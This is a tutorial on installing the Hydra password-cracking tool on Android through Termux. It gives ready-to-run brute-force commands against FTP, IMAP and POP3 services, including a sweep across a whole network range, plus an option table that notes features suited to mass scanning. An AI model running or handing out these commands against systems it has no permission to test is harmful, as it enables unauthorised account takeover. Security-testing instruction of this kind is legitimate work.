Hydra is a strong tool for breaking passwords and is popular among cybersecurity experts. They use it to check password strength and find weaknesses on different platforms.
If you want to use Hydra on your Android phone, the best way is to install it through Termux. Termux is an app that lets you run Linux programs on your Android device, which is great for tools like Hydra.
This guide will show you how to install Hydra on Termux, step by step, so you can start using it for ethical hacking.
What is Hydra?
Hydra is a strong tool for breaking passwords and is important for online security. It works by trying many different username and password combinations until it finds the right one. This is useful for checking how strong passwords are and finding weak spots in a system's security.
Cybersecurity experts and ethical hackers often use Hydra to see how well passwords can stand up to unauthorized access. By using Hydra, they can find and fix security problems before bad hackers can take advantage of them.
Hydra is not just for breaking passwords; it's a key tool for making digital spaces safer. However, it is illegal and wrong to use Hydra on systems you do not own or do not have permission to test.
Step-by-Step Guide to Install Hydra on Termux
Follow these steps carefully to install Hydra on your Termux environment:
Step 1: Update and Upgrade Termux
To start, update and upgrade your Termux packages to ensure you have the latest versions:
pkg update
pkg upgradeStep 2: Install Essential Packages
Install the basic packages required for Hydra and smooth Termux operation:
pkg install -y python php curl wget git nanoStep 3: Navigate to the Home Directory
Ensure you're working from the Termux home directory:
cd $HOMEStep 4: Clone Hydra from GitHub
Clone the Hydra repository directly into your Termux environment:
git clone https://github.com/vanhauser-thc/thc-hydraStep 5: Open the Cloned Hydra Directory
Navigate to the directory where Hydra has been cloned:
cd thc-hydraStep 6: Configure and Install Hydra
Run the configuration script and build Hydra:
./configure
make
make installStep 7: Verify Hydra Installation
Check if Hydra installed correctly by viewing its help menu:
./hydra -h
If Hydra is installed properly, you should see a list of available options and parameters displayed.
Practical Demonstration - FTP Brute Force Example
To perform a brute force attack on an FTP port, use the following
command:
./hydra -l admin -p password ftp://localhost/Understand -p and -P Commands
-p specifies a single password.
-P allows you to use a wordlist.
Example using a wordlist:
./hydra -l admin -P /path/to/wordlist.txt ftp://localhost/If you want a complete guide on how to use Hydra in Termux, check out the detailed instructions below!
Complete guide to use Hydra:
How to Use Hydra in Termux?
Once Hydra is installed in Termux, it becomes a powerful tool for penetration testing, specifically for testing passwords and authentication mechanisms. There are multiple ways to use Hydra in Termux — let’s go through some of them!
Method 1: FTP Login Using Credentials
Use Hydra to perform a
brute-force
login on an FTP server by specifying the
username, password list, and
IP address.
./hydra -l user -P passlist.txt ftp://192.168.0.1Method 2: IMAP Email Server Login
You can also target an IMAP email server. Here, you provide a
user list and a default password.
./hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAINMethod 3: FTP Login on Multiple IPs
If you want to attempt logging into an FTP server across a
network range, use the following command:
./hydra -l admin -p password ftp://[192.168.0.0/24]/These are just a few ways to use Hydra effectively in Termux! Now, let’s break down the available Hydra commands for more flexibility.
Hydra Command Options in Termux
| Option | Description |
|---|---|
-l LOGIN or -L FILE |
Use a single login or load multiple logins from a file. |
-p PASS or -P FILE |
Use a single password or load multiple passwords from a file. |
-C FILE |
Use colon-separated login:password pairs from a file. |
-e nsr |
Try null passwords (n), login as password
(s), and reversed login (r).
|
-o FILE |
Output found login/password pairs to a file. |
-t TASKS |
Number of parallel connections per target (default: 16). |
-M FILE |
List of servers to attack, one per line. |
-f / -F |
Stop after the first successful login (per host/global). |
-s PORT |
Specify a non-default port for the service. |
-w TIME |
Wait time for a response (default: 32). |
-4 / -6 |
Use IPv4 (default) or IPv6 addresses. |
-v / -V / -d |
Verbose mode, show login/pass for each attempt, debug mode. |
-m OPT |
Module-specific options (check with -U). |
-R |
Restore a previous session. |
-I |
Ignore an existing restore file (skip wait). |
-q |
Suppress messages about connection errors. |
-U |
Show service module usage details. |
-O |
Use old SSL v2 and v3. |
-K |
Skip failed attempts (great for mass scanning). |
Supported Services
Hydra supports a variety of services for penetration testing, including:
- FTP, SSH, HTTP (get/post/form)
- IMAP, POP3, SMTP, LDAP
- MySQL, MSSQL, Redis, SMB, VNC
- And many more!
Examples
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/Hydra is a powerful tool for ethical hacking and password security testing — make sure to use it responsibly! Let me know if you’d like to dive deeper into any specific Hydra commands.
By following the steps outlined in this guide, you've successfully installed and started using Hydra on your Android device via Termux. Hydra is a powerful tool in the world of ethical hacking, offering the ability to test password strength and identify potential vulnerabilities across various platforms.
